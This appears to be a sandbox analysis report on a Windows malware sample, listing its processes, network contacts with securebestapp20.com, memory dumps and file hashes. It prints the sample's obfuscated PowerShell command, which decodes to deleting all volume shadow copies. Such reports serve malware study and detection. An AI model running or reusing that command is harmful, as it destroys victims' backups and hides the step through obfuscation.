C:\Users\Admin\AppData\Local\Temp\bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe
"C:\Users\Admin\AppData\Local\Temp\bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
Network
| Country | Destination | Domain | Proto |
| US | 72.21.91.29:80 | tcp | |
| US | 72.21.91.29:80 | tcp | |
| US | 72.21.91.29:80 | tcp | |
| US | 52.109.8.19:443 | tcp | |
| US | 52.109.8.19:443 | tcp | |
| US | 8.8.8.8:53 | securebestapp20.com | udp |
| DE | 3.64.163.50:443 | securebestapp20.com | tcp |
| DE | 3.64.163.50:443 | securebestapp20.com | tcp |
| DE | 3.64.163.50:443 | securebestapp20.com | tcp |
| US | 8.8.8.8:53 | 60.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 103.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 102.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 101.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 100.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 91.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 86.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 84.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 85.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 70.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 65.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 109.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 108.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 0.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 106.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 104.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 105.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 99.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 98.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 97.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 96.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 94.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 93.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 92.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 90.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 89.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 88.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 87.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 83.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 82.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 81.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 79.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 80.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 78.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 77.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 76.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 74.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 75.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 72.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 73.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 71.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 69.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 68.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 67.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 66.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 64.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 63.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 62.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 59.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 58.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 61.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 56.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 57.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 49.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 55.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 54.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 53.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 52.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 51.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 50.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 48.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 47.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 46.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 45.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 44.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 41.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 42.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 40.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 37.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 39.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 35.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 36.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 34.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 32.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 33.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 30.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 31.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 29.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 25.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 26.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 24.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 22.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 112.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 113.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 111.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 1.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 110.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 3.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 5.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 6.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 7.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 10.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 9.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 14.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 12.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 13.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 16.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 17.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 19.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 20.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 23.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 27.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 28.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 43.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 38.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 127.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 125.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 124.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 118.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 119.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 126.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 115.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 121.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 120.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 116.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 117.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 114.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 18.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 21.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 123.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 15.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 11.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 4.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 2.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 8.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 107.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 122.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 153.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 180.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 191.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 174.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 168.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 166.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 159.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 157.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 155.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 152.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 148.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 144.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 139.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 135.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 248.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 252.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 253.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 128.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 129.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 130.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 131.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 132.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 133.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 136.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 137.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 140.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 138.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 141.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 142.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 143.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 146.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 147.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 145.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 149.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 150.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 151.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 154.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 158.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 156.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 161.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 160.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 162.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 163.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 165.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 164.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 167.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 169.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 170.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 171.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 173.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 175.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 176.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 177.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 181.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 179.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 182.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 183.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 178.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 184.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 185.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 186.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 187.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 192.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 188.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 189.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 190.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 203.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 209.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 210.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 212.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 215.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 214.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 218.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 221.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 223.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 224.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 232.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 236.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 237.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 238.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 241.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 242.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 193.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 195.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 197.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 198.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 229.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 211.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 254.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 251.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 249.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 246.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 244.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 245.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 243.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 247.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 250.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 196.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 194.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 239.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 235.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 234.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 233.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 231.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 228.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 230.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 227.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 225.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 226.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 220.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 219.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 217.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 216.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 208.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 207.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 206.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 205.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 204.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 201.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 202.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 199.1.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 200.1.127.10.in-addr.arpa | udp |
| DE | 3.64.163.50:443 | securebestapp20.com | tcp |
Files
memory/4336-121-0x0000022B4FB00000-0x0000022B4FB22000-memory.dmp
memory/4336-126-0x0000022B69CC0000-0x0000022B69D36000-memory.dmp
memory/4336-127-0x0000022B4DBF0000-0x0000022B4DCF0000-memory.dmp
memory/4336-128-0x0000022B4DBF0000-0x0000022B4DCF0000-memory.dmp
memory/4336-140-0x0000022B4DBF0000-0x0000022B4DCF0000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | ea6243fdb2bfcca2211884b0a21a0afc |
| SHA1 | 2eee5232ca6acc33c3e7de03900e890f4adf0f2f |
| SHA256 | 5bc7d9831ea72687c5458cae6ae4eb7ab92975334861e08065242e689c1a1ba8 |
| SHA512 | 189db6779483e5be80331b2b64e17b328ead5e750482086f3fe4baae315d47d207d88082b323a6eb777f2f47e29cac40f37dda1400462322255849cbcc973940 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 6e32164840ac89822a01711d2c73748b |
| SHA1 | eb7393011b8eed5da1894417101a70d4f21810aa |
| SHA256 | eeddc339fee94d3d5f05f411118f2596eb4f3ea1aaa285c729651cb6322e6bb3 |
| SHA512 | 0ff6acc0a0fa5dd95871b80139715cd5fd9f48b13e84719de46847f38599c5568f1501b4b0ec15de01c7d07840bb4aece8c6f8cd22cefad7d551e976138ae432 |